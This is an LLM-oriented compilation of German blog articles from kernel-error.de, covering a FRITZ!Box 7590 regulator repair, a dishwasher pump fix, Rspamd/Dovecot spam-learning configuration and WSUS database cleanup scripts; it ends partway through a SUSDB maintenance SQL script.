# Kernel-Error — llms-full.txt

> Vollständiger Inhalt der beliebtesten Artikel von kernel-error.de
> Optimiert für LLM Context Windows. Generiert: 2026-01-24
> Datenquellen: Google Search Console, Bing Webmaster Tools, Nginx Access Logs

---

## Über diese Datei

Diese Datei enthält den vollständigen Inhalt der meistgelesenen und meistgesuchten Artikel.
Die Auswahl basiert auf:
- Google Search Console Klicks und Impressionen
- Bing Webmaster Tools Backlink-Daten
- Nginx Server Access Logs

Für strukturierte Metadaten siehe: https://www.kernel-error.de/llms.txt

---

## Inhaltsverzeichnis

| # | Datum | Titel |
|---|-------|-------|
| 1 | 2024-10-14 | [FRITZ!Box 7590: Fiepen, Spannungsregler-Probleme und WLAN-Au...](https://www.kernel-error.de/2024/10/14/meine-fritzbox-7590-und-die-spannungswandler/) |
| 2 | 2019-11-11 | [Bosch Geschirrspülmaschine: Fehler E-21 beheben – So geht’s](https://www.kernel-error.de/2019/11/11/bosch-geschirrspuelmaschine-und-der-fehler-e-21/) |
| 3 | 2020-05-04 | [Rspamd: Automatisches Spam/Ham-Lernen mit Dovecot und IMAPSi...](https://www.kernel-error.de/2020/05/04/rspamd-automatisch-spam-ham-lernen-mit-dovecot-und-imapsieve/) |
| 4 | 2020-08-24 | [WSUS-Bereinigung: Timeouts beheben und Speicherplatz freigeb...](https://www.kernel-error.de/2020/08/24/wsus-bereinigung-timeout-und-platte-laeuft-mit-updates-voll/) |
| 5 | 2024-10-13 | [FNIRSI GC-01 Upgrade: Akku, Zählrohr & Rad Pro Firmware inst...](https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/) |
| 6 | 2022-03-18 | [DNS over TLS mit BIND, Stunnel und Android 9: Eigener DoT-Se...](https://www.kernel-error.de/2022/03/18/bind-9-18-mit-doh-und-dot/) |
| 7 | 2021-03-03 | [Firmware- und BIOS-Updates unter Linux einfach mit fwupd dur...](https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/) |
| 8 | 2017-08-12 | [Sanftanlauf für Elektromotoren: Softstart & Anlaufstrombegre...](https://www.kernel-error.de/2017/08/12/sanftanlauf-fuer-elektromotor-softstart-anlaufstrombegrenzer/) |
| 9 | 2023-06-05 | [QIDI i-Mate S 3D-Drucker: Erfahrungen, Upgrades & Support-Ti...](https://www.kernel-error.de/2023/06/05/qidi/) |
| 10 | 2021-02-24 | [TRIM für SSDs im ZFS-Pool unter Linux aktivieren: So funktio...](https://www.kernel-error.de/2021/02/24/trim-fuer-ssds-im-zfs-pool-unter-linux-aktivieren/) |
| 11 | 2024-11-09 | [Lötdampfabsaugung selber bauen: DIY-Projekt mit 3D-Druck und...](https://www.kernel-error.de/2024/11/09/loetdampfabsaugung-aus-resten/) |
| 12 | 2021-01-07 | [Bose QuietComfort 35: Akku tauschen leicht gemacht](https://www.kernel-error.de/2021/01/07/bose-quietcomfort-35-akku-tauschen/) |
| 13 | 2019-02-15 | [TLS 1.3 für Postfix & Dovecot: Einrichtung und Konfiguration...](https://www.kernel-error.de/2019/02/15/tls-1-3-fuer-postfix-und-dovecot/) |
| 14 | 2019-10-02 | [Outlook Autodiscover für IMAP und SMTP konfigurieren](https://www.kernel-error.de/2019/10/02/outlook-autodiscover-fuer-imap-und-smtp/) |
| 15 | 2017-05-31 | [FreeBSD: WLAN und der Ländercode korrekt einstellen](https://www.kernel-error.de/2017/05/31/freebsd-wlan-und-der-laendercode/) |
| 16 | 2020-05-03 | [Riden RD6006 Labornetzteil im Test: AliExpress DC Power Supp...](https://www.kernel-error.de/2020/05/03/aliexpress-labornetzteil-riden-rd6006-dc-power-supply/) |
| 17 | 2024-12-25 | [BitLocker im Dual-Boot: Systemplatte auf Passwortschutz umst...](https://www.kernel-error.de/2024/12/25/dual-boot-mit-linux-und-windows-bitlocker-fuer-die-systemplatte-auf-passwort-umstellen/) |
| 18 | 2026-01-07 | [SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken d...](https://www.kernel-error.de/2026/01/07/ssh-bruteforce-digitalocean-und-abuseipdb-warum-blocken-das-problem-nicht-loest/) |
| 19 | 2026-01-03 | [BIND auf FreeBSD: DoT & DoH einrichten mit Views, IP‑Trennun...](https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/) |
| 20 | 2025-12-22 | [Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richt...](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) |
| 21 | 2025-09-30 | [GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Sco...](https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/) |
| 22 | 2025-01-20 | [IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz ...](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/) |
| 23 | 2025-11-17 | [IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kap...](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) |
| 24 | 2025-11-07 | [BSI will Straffreiheit: Mehr Rechtssicherheit für ethische H...](https://www.kernel-error.de/2025/11/07/bsi-will-straffreiheit-mehr-rechtssicherheit-fuer-ethische-hacker/) |
| 25 | 2025-02-17 | [Sicherheitslücken melden: Mein Umgang mit einem Vulnerabilit...](https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/) |
| 26 | 2015-02-02 | [Postfix: Serverzertifikat nicht verifiziert – Fehlerbehebung](https://www.kernel-error.de/2015/02/02/postfix-server-certificate-not-verified/) |
| 27 | 2013-01-04 | [Outlook Autodiscover für IMAP/SMTP: Automatische Kontoeinric...](https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/) |
| 28 | 2016-05-17 | [FreeBSD auf dem Desktop: Grundinstallation mit MATE Desktop](https://www.kernel-error.de/2016/05/17/freebsd-auf-dem-desktop-grundinstallation-mate/) |

---

## 1. FRITZ!Box 7590: Fiepen, Spannungsregler-Probleme und WLAN-Ausfälle​

**Veröffentlicht:** 2024-10-14
**Permalink:** https://www.kernel-error.de/2024/10/14/meine-fritzbox-7590-und-die-spannungswandler/

Eigentlich sollte die Überschrift heißen: Ärgere ich mich gerade über mich selbst oder über AVM?

[Bild: PCB der FritzBox 7590 mit Zoom auf den MP1477 Spannungsregler]

Zuhause arbeitete eine FRITZ!Box 7590 KA, die zu Beginn mit einem [Frixtender](https://frixtender.de/) erweitert wurde. Nach knapp zwei Jahren habe ich bemerkt, dass die FRITZ!Box angefangen hat zu fiepen. Eine Funktionseinschränkung konnte ich jedoch nicht feststellen. Da es aber knapp vor dem Ablauf der Garantie war, habe ich Kontakt mit dem AVM-Support aufgenommen.

Dem AVM-Support habe ich in einer kurzen E-Mail geschildert, dass meine Box plötzlich fiept und ob ihnen in diesem Zusammenhang vielleicht Probleme, beispielsweise mit Spulen oder Spannungsreglern, bekannt sind. Die Antwort vom AVM-Support ließ nicht lange auf sich warten und lautete zusammengefasst: „Nein, uns sind keine Probleme bekannt, aber du kannst deine Box gerne zur Überprüfung/Austausch einschicken.“

Jetzt kommen wir zum Punkt, warum ich mich ärgere und unschlüssig bin, ob ich mich über mich selbst oder über AVM ärgere. Für meine Arbeit benötige ich eine funktionsfähige Internetverbindung. Wenn ich die Box einschicke, muss ich für eine Alternative sorgen. Wenn AVM die Box vorsorglich gegen eine neue tauscht, wäre das zwar schön, aber es gibt schon zu viel Elektroschrott. Elektronik darf Geräusche machen. Spulen könnt ihr euch oft wie eine Art Schwungrad vorstellen. Es braucht etwas, um anzulaufen, läuft dann aber auch noch einige Zeit weiter, selbst wenn es niemand mehr antreibt. Das hängt mit den aufkommenden Magnetfeldern zusammen und ist so gewollt. Magneten kennt ihr, und dass dort Kräfte an den Bauteilen ziehen, könnt ihr euch jetzt ebenfalls vorstellen. Eine Spule kann also mit der Zeit anfangen, leichte Geräusche zu machen, und das ist auch okay. Für Spannungsregler gilt das ebenfalls. Stellt euch einfach euren Wasserhahn vor: Wenn ihr ihn voll aufdreht, kommen da vielleicht 5 Liter in der Minute heraus. Wenn ihr weniger Wasser wollt, macht ihr den Hahn ganz schnell an und wieder aus. Wie schnell ihr das Wasser ein- bzw. ausschalten müsst, um beispielsweise nur 1 Liter pro Minute fließen zu lassen, messt ihr mit euren Augen. Ganz grob funktionieren Schaltnetzteile so. Je nach Last kann man da also schon mal etwas hören, und das ist okay.

So ist ein weiteres Jahr ins Land gegangen, bis mir [in einem meiner Newsticker die Meldung über sterbende FRITZ!Boxen vom Typ 7590 aufgefallen is](https://www.mikrocontroller.net/topic/560494)t. Hier wird von anfänglichem Fiepen, schlechter werdendem 2,4-GHz-WLAN bis hin zum Totalausfall des WLANs und der Box berichtet. Bääähhhhh. Das klang verdächtig nach dem von mir beobachteten Fehlerbild. Nun ist meine Box aus jeglicher Garantie und Gewährleistung heraus. Den AVM-Support brauche ich also nicht mehr zu bemühen, sondern kann mich vielmehr mit dem Gedanken anfreunden, eine neue Box zu kaufen, um auf einen Ausfall vorbereitet zu sein. Zeitgleich haben bei uns im Ort die Arbeiten am Glasfaserausbau begonnen. Diese gehen so schnell und gut voran, dass ich damit rechnen kann, bis zum Ende dieses Jahres von DSL auf Glasfaser wechseln zu können. Mit diesem Wechsel kommt vom Anbieter auch eine neue FRITZ!Box. Tjo… Also Risiko eingehen oder eine Box kaufen, die in 5 oder 6 Monaten dann wohl irgendwo im Regal Staub fängt?

Bevor es eine Antwort auf diese Frage gibt, noch schnell zum Punkt mit dem Ärgern: Ich habe AVM bewusst gefragt, ob es bekannte Probleme mit der Box gibt und speziell auf die aus meiner Sicht verdächtigen Bauteile hingewiesen. Die Antwort war ein klares Nein. Das muss ich jetzt einfach so glauben, aber ich werde den Beigeschmack nicht los, dass es zum Zeitpunkt meiner Supportanfrage schon einige [Reklamationen wegen dieses Problems gegeben haben müsste](https://www.borncity.com/blog/2024/05/30/nachlese-ausfall-des-2-4-ghz-wlan-an-der-fritzbox-7590-nach-ca-5-jahren/). Daher wohl mein möglicher Ärger über AVM – und dass ich auf die Möglichkeit eines Austauschs verzichtet habe – und der Ärger über mich selbst.

Habe ich jetzt eine neue Box gekauft oder nicht? Nein, habe ich natürlich nicht. Ich habe meine Box von der Wand genommen, aufgeschraubt und durchgemessen. Ja, Geräusche und etwas zu hohe Spannung für das 2,4-GHz-WLAN habe ich gemessen bzw. zuordnen können. Alles aber noch im Rahmen, sodass ich gehofft habe, dass es noch ein paar Monate gutgeht. War leider nicht so. Vor ein paar Wochen ist die Box an der Wand „geplatzt“ und ich musste in den sauren Apfel beißen und eine neue für den Übergang kaufen. Jetzt habe ich wohl ein Backup für die Zukunft. Woohoo 🙁 Manchmal lerne ich nicht so schnell dazu, oder? Naja, manchmal kommt halt eins zum anderen.

Ob meine alte Box wirklich mit genau dem beschriebenen Problem ausgefallen ist, wollte ich dennoch herausfinden. Die Sichtprüfung war noch immer gut, aber es war keine Spannung mehr zu messen. Daher habe ich mir von [Aliexpress ein paar MP1477](https://s.click.aliexpress.com/e/_DDVndlb) (die genaue Bezeichnung ist [MP1477GTF-Z](https://s.click.aliexpress.com/e/_DDVndlb)) zuschicken lassen. Ich habe direkt alle drei verbauten Chips ausgetauscht und siehe da, die Box lebt wieder. Oft sollen dabei wohl noch die RF FRONT ENDs 055F als Folge der zu hohen Spannung sterben, aber diese haben es bei mir zum Glück überlebt.

[[Bild: PCB der FritzBox 7590 mit Zoom auf den MP1477 Spannungsregler]](https://www.kernel-error.de/wp-content/uploads/2024/10/FritzBox-7590-MP1477-scaled.jpg)

Nun habe ich also auch noch ein Backup für das zukünftige Backup. Super…

Da ich bei Aliexpress insgesamt 10 Stück bestellt habe, liegen hier jetzt noch ein paar herum. Ich wäre bereit, sie gegen ein Snickers zu tauschen, falls jemand von euch vor einem ähnlichen Problem steht. Uhh, und bedenkt bitte, dass die Dinger **ECHT** klein sind. Ich habe euch mal einen auf ein 1-Cent-Stück gelegt. Ohne Heißluftstation und etwas SMD-Löterfahrung solltet ihr das vielleicht lieber nicht angehen.

[[Bild: Größenvergleich zwischen dem MP1477 Spannungsregler und einem Euro-Cent-Stück]](https://www.kernel-error.de/wp-content/uploads/2024/10/MP1477GTF-Z-scaled.jpg)

Die Messpunkte und die erwarteten Spannungen findet ihr im folgenden Bildchen.

[[Bild: PCB der FritzBox 7590 mit eingezeichneten Messpunkten und Messwerten des MP1477 Spannungsreglers]](https://www.kernel-error.de/wp-content/uploads/2024/10/FritzBox-7590-02-scaled.jpg)

Wenn ihr dann noch Fragen habt, fragt einfach 🙂

---

## 2. Bosch Geschirrspülmaschine: Fehler E-21 beheben – So geht’s

**Veröffentlicht:** 2019-11-11
**Permalink:** https://www.kernel-error.de/2019/11/11/bosch-geschirrspuelmaschine-und-der-fehler-e-21/

Meine Geschirrspülmaschine hat mir heute einige Nerven gekostet. Mit einem fröhlichen E-21 im Display war Schluss mit Spülen. Der Fehlercode deutet darauf hin, dass etwas mit der Umwälzpumpe nicht stimmt. Die Maschine ist jetzt knapp sechs Jahre alt und läuft hier täglich für einen Vier-Personen-Haushalt. Mit anderen Worten: Die Maschine hat selten Langeweile. Oh, sie ist wohl recht baugleich zu Siemens, Neff und Constructa.

Mein erster Schritt war ein Anruf beim nächstgelegenen Serviceanbieter. Dieser sagte mir, dass er die Maschine in einer Woche abholen und bei sich überprüfen könnte. In der Regel wird dann die Umwälzpumpe ausgetauscht, was (bla €) kostet, und ich bekäme die Maschine nach zwei bis drei Tagen zurück. Für 200–300 € mehr könnte er mir aber direkt eine neue Maschine liefern und die alte entsorgen, inklusive Lieferung und Anschluss. Bei einer so alten Maschine … bla bla blupp … Warum werden heutzutage nur noch Teile ausgetauscht? Warum soll immer alles neu sein? Warum repariert niemand mehr?

Eine kurze Suche auf DuckDuckGo brachte mir eine Explosionszeichnung meiner Spülmaschine. Die Konstruktion sieht sehr überschaubar aus … Letztlich fand ich in der Umwälzpumpe ein Stück Plastikverpackung. Die Pumpe ließ sich fast vollständig zerlegen und reinigen. Jetzt läuft die Maschine wieder, ganz ohne Fehler! Insgesamt hat mich die Aktion 40 Minuten meiner Zeit gekostet.

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der Pumpe.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-1-scaled.jpg)

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der geöffneten Pumpe mit einem verklemmten Fremdkörper.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-2-scaled.jpg)

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der komplett zerlegten Pumpe, nach der Reinigung.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-3-scaled.jpg)

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild vom verklemmten Plastikteil aus der Pumpe.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-4-scaled.jpg)

[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der Pumpe.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der geöffneten Pumpe mit einem verklemmten Fremdkörper.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der komplett zerlegten Pumpe, nach der Reinigung.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild vom verklemmten Plastikteil aus der Pumpe.]

Ein kleiner Tipp für euch: Falls die Pumpe tatsächlich defekt ist, lässt sich das Ersatzteil einfach über Amazon bestellen: [https://amzn.to/3AhYDYI](https://amzn.to/3AhYDYI)

Der Austausch ist sehr einfach, und alles Notwendige ist dabei!

Das weiß ich so genau, weil die Pumpe einige Monate später dann doch aufgegeben hat. Anscheinend hat das kleine Plastikteil eine solche Unwucht verursacht, dass es letztendlich zum Ausfall der Pumpe geführt hat.

---

## 3. Rspamd: Automatisches Spam/Ham-Lernen mit Dovecot und IMAPSieve

**Veröffentlicht:** 2020-05-04
**Permalink:** https://www.kernel-error.de/2020/05/04/rspamd-automatisch-spam-ham-lernen-mit-dovecot-und-imapsieve/

Bei jedem Spamfilter kann es vorkommen, dass Spam durchrutscht oder eine echte Nachricht fälschlicherweise als Spam eingestuft wird. Rspamd bietet über das Webinterface die Möglichkeit, trainiert zu werden. Hier kann man einfach den Quellcode jeder E-Mail kopieren und Rspamd mitteilen, ob es sich dabei um Spam (SPAM) oder um eine legitime Nachricht (HAM) handelt. Dieses Vorgehen ist jedoch ungeeignet, um den Spamfilter effektiv zu trainieren.

[Bild: Dovecot and RSPAMD Logo]

Wünschenswert wäre folgende Lösung: Immer wenn ein Benutzer eine E-Mail in den Ordner „Junk“ verschiebt, sollte diese E-Mail automatisch von Rspamd als Spam gelernt werden. Zusätzlich sollte jede E-Mail, die der Benutzer aus dem „Junk“-Ordner herausholt, als Ham gelernt werden.

Genau dieses Szenario möchte ich hier kurz beschreiben. Das Hostsystem ist ein FreeBSD; Linux-User müssen daher bei den Pfaden wie /usr/local aufpassen! Ebenfalls lauscht mein Rspamd-Worker nicht auf einem Unix-Socket, sondern auf der IP 127.0.0.3, da er in einer Jail-Umgebung läuft.

Beginnen wir mit der Konfiguration für Dovecot.

20-imap.conf:

```
protocol imap {
  mail_plugins = $mail_plugins sieve
}
```

90-plugin.conf:

```
plugin {
  sieve_plugins = sieve_imapsieve sieve_extprograms

  # From elsewhere to Spam folder or flag changed in Spam folder
  imapsieve_mailbox1_name = Junk
  imapsieve_mailbox1_causes = COPY FLAG
  imapsieve_mailbox1_before = file:/usr/local/etc/dovecot/sieve/report-spam.sieve

  # From Spam folder to elsewhere
  imapsieve_mailbox2_name = *
  imapsieve_mailbox2_from = Junk
  imapsieve_mailbox2_causes = COPY
  imapsieve_mailbox2_before = file:/usr/local/etc/dovecot/sieve/report-ham.sieve

  sieve_pipe_bin_dir = /usr/local/libexec/dovecot

  sieve_global_extensions = +vnd.dovecot.pipe
}

```

/usr/local/etc/dovecot/sieve/report-spam.sieve:

```
require ["vnd.dovecot.pipe", "copy", "imapsieve", "environment", "imap4flags"];

if environment :is "imap.cause" "COPY" {
    pipe :copy "sa-learn-spam.sh";
}

# Catch replied or forwarded spam
elsif anyof (allof (hasflag "\\Answered",
                    environment :contains "imap.changedflags" "\\Answered"),
             allof (hasflag "$Forwarded",
                    environment :contains "imap.changedflags" "$Forwarded")) {
    pipe :copy "sa-learn-spam.sh";
}
```

/usr/local/etc/dovecot/sieve/report-ham.sieve:

```
require ["vnd.dovecot.pipe", "copy", "imapsieve", "environment", "variables"];

if environment :matches "imap.mailbox" "*" {
  set "mailbox" "${1}";
}

if string "${mailbox}" [ "Trash", "train_ham", "train_prob", "train_spam" ] {
  stop;
}

pipe :copy "sa-learn-ham.sh";
```

Natürlich nicht vergessen, die beiden neuen Sieve-Skripte für Sieve zu kompilieren:

```
# sievec /usr/local/etc/dovecot/sieve/report-spam.sieve
# sievec /usr/local/etc/dovecot/sieve/report-ham.sieve
```

Es fehlen nur noch die beiden Shell-Skripte, um die Mails an Rspamd weiterleiten zu können.

/usr/local/libexec/dovecot/sa-learn-spam.sh:

```
#!/bin/sh
exec /usr/local/bin/rspamc -h 127.0.0.3:11334 learn_spam
```

/usr/local/libexec/dovecot/sa-learn-ham.sh:

```
#!/bin/sh
exec /usr/local/bin/rspamc -h 127.0.0.3:11334 learn_ham
```

Beide müssen ausführbar sein:

```
# chmod +x /usr/local/libexec/dovecot/sa-learn-spam.sh /usr/local/libexec/dovecot/sa-learn-ham.sh
```

Wenn ich nun eine E-Mail in den Ordner „Junk“ verschiebe, lernt Rspamd diese automatisch als Spam:

```
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_controller_check_password: allow unauthorized connection from a trusted IP 127.0.0.3
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_message_parse: loaded message; id: ; queue-id: ; size: 49053; checksum: 
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_controller_learn_fin_task:  learned message as spam: FNgLHBeARhiVYgEegF_-Pw@ismtpd0002p1lon1.sendgrid.net
```

Verschiebe ich eine E-Mail aus dem Ordner „Junk“ heraus, wird sie, wie gewünscht, als Ham gelernt:

```
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_controller_check_password: allow unauthorized connection from a trusted IP 127.0.0.3
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_message_parse: loaded message; id: ; queue-id: ; size: 49053; checksum: 
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_controller_learn_fin_task:  learned message as ham: FNgLHBeARhiVYgEegF_-Pw@ismtpd0002p1lon1.sendgrid.net
```

Fragen? Einfach fragen!

Ach, und was man nicht mehr verwenden sollte: das Antispam-Plugin – das ist „tot“.

---

## 4. WSUS-Bereinigung: Timeouts beheben und Speicherplatz freigeben

**Veröffentlicht:** 2020-08-24
**Permalink:** https://www.kernel-error.de/2020/08/24/wsus-bereinigung-timeout-und-platte-laeuft-mit-updates-voll/

[Bild: WSUS Windows Server Update Service Icon]

Pfffff…. Einen dauerhaft richtig gut laufenden WSUS Server habe ich tatsächlich noch nie gesehen; was auch an mir liegen kann ;-). Irgendwann werden die Dinger laaaaannnnggggssssaaammmm. Dann gibt es Timeouts, dann läuft irgendwann die Serverbereinigung nicht mehr durch und man muss sich mit so einem System beschäftigen, bevor die Platten voll sind.

WSUS ist einfach kein Dienst, den man konfiguriert und dann läuft er, abgesehen von Sicherheitsupdates, durch. Nein… WSUS möchte dauerhaft Aufmerksamkeit. Was mir dabei so aufgefallen ist, möchte ich kurz mit euch teilen!

[[Bild: Screenshot inkl. Klickpfade der WSUS Update Service Oberfläche zum Konfigurieren der Produkte und Klassifizierungen.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-no-driverupdates.jpg)

**Mache NIE (wirklich NIE) Treiberupdates über WSUS.** Hier explodiert der Platzverbrauch für die Updates!
Sollte es jemand aktiviert haben. Als erstes über „Windows Server Update Services (WSUS) ==> Optionen ==> Produkte und Klassifizierungen ==> Klassifizierungen ==> Treiber“ rauswerfen. Dann über „Updates ==> Alle Updates“ zu den Dropdown Menus und hier: Genehmigung: Genehmigt und Status: Alle. Warten bis die Liste vollständig ist und nach Klassifizierung sortieren. Alle Treiberupdates auswählen und ablehnen.

Was mir auch geholfen hat ist das folgende PowerShell Script. Dieses läuft zwar ewig, räumt aber viel weg:

```
[reflection.assembly]::LoadWithPartialName("Microsoft.UpdateServices.Administration")

```

[[Bild: Screenshot der Windows PowerShell ISE inkl. script.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-remove-driver.jpg)

```
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer();
$wsus.GetUpdates() | Where {$_.IsDeclined -eq $true} | ForEach-Object {$wsus.DeleteUpdate($_.Id.UpdateId.ToString()); Write-Host $_.Title removed }
```

Wo wir beim Aufräumen sind… Es gibt so einen wunderschönen „Assistent für die Serverbereinigung“. Dieser sollte überflüssige Updates weg löschen. Also wenn die Computer für die Updates nicht mehr da sind, die Updates von anderen ersetzt wurden oder heruntergeladene Updates abgelehnt wurden. Es ergibt daher Sinn, diesen Assistenten ggf. täglich laufen zu lassen. Er ist nur leider nicht direkt zu automatisieren. Dafür benötigt man ebenfalls ein PowerShell Script welches man täglich per Aufgabenplanung ausführen lässt. Mir hat folgendes bisher immer gute Dienste geleistet.

```
# Variablen
$DateFormat = Get-Date -format yyyyMMdd-HH-mm
$Logfile = "H:\Logs\wsus-bereinigung-$DateFormat.log"

# WSUS Bereinigung durchführen
Invoke-WsusServerCleanup -CleanupObsoleteUpdates -CleanupUnneededContentFiles -CompressUpdates -DeclineExpiredUpdates -DeclineSupersededUpdates | Out-File $Logfile

# Mail Variablen
$MailSMTPServer = "smtp.kernel-error.de"
$MailFrom = "administrator@firma88.inf"
$MailTo = "dev@null.de"
$MailSubject = "${env:COMPUTERNAME} Bereinigung $DateFormat"
$MailBody = Get-Content $Logfile | Out-String

# Mail versenden
Send-MailMessage -SmtpServer $MailSMTPServer -From $MailFrom -To $MailTo -subject $MailSubject -body $MailBody -Encoding Unicode
```

Es räumt auf, erstellt ein Logfile und sendet einem zusätzlich noch eine Status E-Mail darüber zu.

Was aber wenn man in der WSUS Timeout Hölle gefangen ist und die ganzen Versuche fehlschlagen das Ding wieder „sauber“ zu machen? Dabei hat mir folgendes geholfen.

**IIS umstellen:**
IIS-Manager ==> Anwendungspools ==> WsusPool ==> Erweiterte Einstellungen

Limit für den privaten Speicher (KB): 6000000
Maximale Anzahl von Arbeitsprozessen: 0
Startmodus: AlwaysRunning

Nicht vergessen den IIS neu zu starten oder besser den ganzen Server, es ist ja ein Windows 😉

[[Bild: Screenshot der Database Properties - SUSDB zur WSUS Datenbank.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-database-compability.jpg)

**Windows Internel Database WDI umstellen:**
Mit dem Microsoft SQL Server Management Studio zu folgendem Server verbinden: \\.\pipe\MICROSOFT##WID\tsql\query

Dann „Databases ==> SUSDB ==> rechte Maus Properties ==> Options ==> „Compatibility level:“ SQL Server 2012 (110)

Man kann hier auch über „Databases ==> SUSDB ==> rechte Maus Tasks ==> Shrink ==> Database“ den freien Speicherplatz der Datenbank zusammenfassen lassen.

[[Bild: Screenshot der Database Properties - SUSDB zur WSUS Datenbank. Shrink Database.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-database-shrink.jpg)

Wenn man schon hier ist lässt sich die Synchronisierungshistory mit folgender SQL Query aufräumen:

```
USE SUSDB
GO
DELETE FROM tbEventInstance WHERE EventNamespaceID = '2' AND EVENTID IN ('381', '382', '384', '386', '387', '389')
```

[[Bild: Screenshot vom Micosoft SQL Server Manager mit SQL Query zur Bereinigung der WSUS Datenbank.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-sychronisierungen-02.jpg)

Einfach „New Query“ copy&paste „Execute“.

Wenn die Serverbereinigung weiterhin hängen bleibt hilft es scheinbar oft das erste Update in der „zu löschen“ Liste von Hand zu löschen:

```
USE SUSDB
GO
exec spGetObsoleteUpdatesToCleanup
```

Jetzt die erste Update ID notieren und:

```
USE SUSDB
GO
exec spDeleteUpdate @localUpdateID=HIERUPDATEID
```

Über den Weg lässt sich auch kontrollieren ob die Versuche das Ding aufzuräumen irgendwie einen Fortschritt bringen. Kommt man auch so nicht weiter hat mir folgende SQL Query geholfen (auch wenn sie unglaublich lange läuft):

```
USE SUSDB
DECLARE @var1 INT, @curitem INT, @totaltodelete INT
DECLARE @msg nvarchar(200)
CREATE TABLE #results (Col1 INT) INSERT INTO #results(Col1)
EXEC spGetObsoleteUpdatesToCleanup
SET @totaltodelete = (SELECT COUNT(*) FROM #results)
SELECT @curitem=1
DECLARE WC Cursor FOR SELECT Col1 FROM #results
OPEN WC
FETCH NEXT FROM WC INTO @var1 WHILE (@@FETCH_STATUS > -1)
BEGIN SET @msg = cast(@curitem as varchar(5)) + '/' + cast(@totaltodelete as varchar(5)) + ': Deleting ' + CONVERT(varchar(10), @var1) + ' ' + cast(getdate() as varchar(30))
RAISERROR(@msg,0,1) WITH NOWAIT
EXEC spDeleteUpdate @localUpdateID=@var1
SET @curitem = @curitem +1
FETCH NEXT FROM WC INTO @var1
END
CLOSE WC
DEALLOCATE WC
DROP TABLE #results
```

Ebenfalls gibt es die Möglichkeit seine [Datenbank zu re-indexieren](https://gallery.technet.microsoft.com/scriptcenter/6f8cde49-5c52-4abd-9820-f1d270ddea61). Indexe in einer Datenbank neu aufzubauen hat selten geschadet, hm?

```
/****************************************************************************** 
This sample T-SQL script performs basic maintenance tasks on SUSDB 
1. Identifies indexes that are fragmented and defragments them. For certain 
   tables, a fill-factor is set in order to improve insert performance. 
   Based on MSDN sample at http://msdn2.microsoft.com/en-us/library/ms188917.aspx 
   and tailored for SUSDB requirements 
2. Updates potentially out-of-date table statistics. 
******************************************************************************/ 
 
USE SUSDB; 
GO 
SET NOCOUNT ON; 
 
-- Rebuild or reorganize indexes based on their fragmentation levels 
DECLARE @work_to_do TABLE ( 
    objectid int 
    , indexid int 
    , pagedensity float 
    , fragmentation float 
    , numrows int 
) 
 
DECLARE @objectid int; 
DECLARE @indexid int; 
DECLARE @schemaname nvarchar(130);  
DECLARE @objectname nvarchar(130);  
DECLARE @indexname nvarchar(130);  
DECLARE @numrows int 
DECLARE @density float; 
DECLARE @fragmentation float; 
DECLARE @command nvarchar(4000);  
DECLARE @fillfactorset bit 
DECLARE @numpages int 
 
-- Select indexes that need to be defragmented based on the following 
-- * Page density is low 
-- * External fragmentation is high in relation to index size 
PRINT 'Estimating fragmentation: Begin. ' + convert(nvarchar, getdate(), 121)  
INSERT @work_to_do 
SELECT 
    f.object_id 
    , index_id 
    , avg_page_space_used_in_percent 
    , avg_fragmentation_in_percent 
    , record_count 
FROM  
    sys.dm_db_index_physical_stats (DB_ID(), NULL, NULL , NULL, 'SAMPLED') AS f 
WHERE 
